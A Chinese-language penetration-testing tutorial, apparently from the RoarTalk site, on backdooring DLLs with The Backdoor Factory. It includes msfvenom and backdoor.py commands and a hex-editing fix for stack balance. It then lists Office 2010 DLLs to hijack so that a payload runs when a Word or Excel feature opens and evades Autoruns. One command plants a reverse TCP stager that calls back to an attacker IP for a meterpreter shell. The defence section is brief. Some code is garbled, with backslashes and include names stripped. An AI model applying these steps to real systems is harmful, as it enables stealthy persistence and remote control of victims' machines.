利用BDF向DLL文件植入後門
0x00 前言
在之前的文章《利用BDF向EXE文件植入後門》介紹了使用The Backdoor Factory向EXE文件植入後門的方法,這次將要介紹向DLL文件植入後門的思路,演示一種DLL劫持的利用方法,總結該方法的特點,分析防禦思路
0x01 簡介
本文將要介紹以下內容:
·劫持自己的DLL,修復BUG
·劫持系統的DLL,繞過Autoruns的後門檢測
0x02 利用思路
DLL同EXE文件的植入思路相同,也是通過修改程序的執行流程,跳轉到Code Caves,執行payload,再返回至程序的正常流程
DLL同EXE文件最大的區別是多了導出函數的功能
在實現DLL劫持時,常常需要獲得原DLL的導出函數,模擬導出函數,添加payload,實現利用
那麼,The Backdoor Factory在DLL文件的後門植入上,是否要考慮導出函數呢?
下面進行測試,得出結論
0x02 編寫程序進行測試
測試Dll testdll.dll:
#include
#include
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//MessageBox(NULL, NULL, NULL, 0);
//Sleep(5000);
printf("[+] DLL_PROCESS_ATTACHn");
case DLL_THREAD_ATTACH:
printf("[+] DLL_THREAD_ATTACHn");
case DLL_THREAD_DETACH:
printf("[+] DLL_THREAD_DETACHn");
case DLL_PROCESS_DETACH:
printf("[+] DLL_PROCESS_DETACHn");
break;
}
return TRUE;
}
void Export1()
{
printf("[+] Export1n");
}
導出函數為Export1
Dll載入程序 loader.exe:
#include
typedef void(*Export)();
int main(int argc, char* argv[])
{
Export exporttest;
printf("[*] LoadLibraryn");
HMODULE hDllLib = LoadLibrary("testdll.dll");
exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
exporttest();
Sleep(10000);
FreeLibrary(hDllLib);
printf("[*] FreeLibraryn");
return 0;
}
程序執行如下圖,載入testdll.dll,調用導出函數Export1
使用The Backdoor Factory為DLL文件添加後門:
msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a
再次執行loader.exe,測試如下圖
成功執行payload,但是改變了程序流程,無法正常返回FreeLibrary
需要對DLL進行調試,找到出錯的原因
首先生成空的跳轉模板:
./backdoor.py -f testdll.dll -s cave_miner_inline
選擇.text段
執行Loader.exe,程序一切正常,那麼就是中間的payload出了問題
如下圖
這裡可以推測,payload只要能夠保持堆棧平衡,那麼就不會影響程序的正常執行
可以使用CFF Explorer添加payload
首先定位payload起始點
PUSHAD
PUSHFD
對應的16進位代碼為609C
在CFF Explorer中切換到Hex Editor視圖,搜索609C,定位起始點0x0000571A
註:
通過Immunity Debugger獲得的內存虛擬地址為0x1000571A,二者對應,位置正確
為了擴大payload空間,可以將後面的調整堆棧平衡代碼整體後移
如下圖
將0x0005772-0x0000579E的數據整體後移,中間填入0x90
選中該部分內容,右鍵-Copy-Hex
找到合適的位置,右鍵-Fill With...
完整操作如下圖
依此方法,中間填入修改後的payload即可,完成Bug修復
通過Immunity Debugger查看DLL文件,可以看到The Backdoor Factory對DLL和EXE文件進行跳轉劫持的位置一樣
如下圖
得出結論:
對於DLL文件來說,劫持初始化部分造成的結果是在LoadLibrary時即可執行payload,如果想在程序載入DLL導出函數時執行payload,將跳轉代碼改到導出函數內即可
0x03 劫持系統的DLL
針對Office 2010,分享幾個自己找到的DLL劫持利用位置
1、劫持Word-審閱試圖
LOCALSVC.DLL,位於
C:Program FilesCommon Filesmicrosoft sharedRRLoc14
對該dll添加payload
./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded
替換dll(需要管理員許可權),啟動word.exe,切換至審閱視圖,彈回meterpreter
測試如下圖
2、劫持word-插入-圖片
tiptsf.dll,位於C:Program FilesCommon Filesmicrosoft sharedink
需要TrustedInstaller許可權才能替換
關於如何獲得TrustedInstaller許可權,可參考文章《滲透技巧——Token竊取與利用》
3、劫持word-文件
也影響別的位置:
word -頁面布局-主題-瀏覽主題
GrooveIntlResource.dll,位於
C:Program FilesMicrosoft OfficeOffice142052
需要管理員許可權
4、劫持Excel-插入-圖片
MSPTLS.DLL,位於
C:Program FilesCommon Filesmicrosoft sharedOFFICE14
需要管理員許可權
以上測試如下圖
注:
本節內容僅為了演示DLL劫持的一些利用方法,這些特殊的劫持位置只會在軟體的特定功能打開時才會啟動,所以能夠繞過Autoruns的檢測
0x04 防禦
對於系統DLL,通過會帶有微軟簽名,如果對DLL植入後門,簽名會失效,這是一個老生常談的問題
而對於第三方開發的軟體,調用的第三方DLL不加簽名,那麼被利用的風險很大
0x05 小結
本文測試了使用The Backdoor Factory向DLL文件植入後門的方法,介紹修復BUG的思路,分享了一種DLL劫持的利用方法,僅供測試,通過總結該利用方法的特點,簡要介紹了防禦方面需要注意的問題
※PROPagate——一種新的代碼注入技巧
※HomeHack——LG物聯網家用電器中的新漏洞
※另類端掃:無IP地址的埠掃描
※利用BDF向EXE文件植入後門
TAG:嘶吼RoarTalk |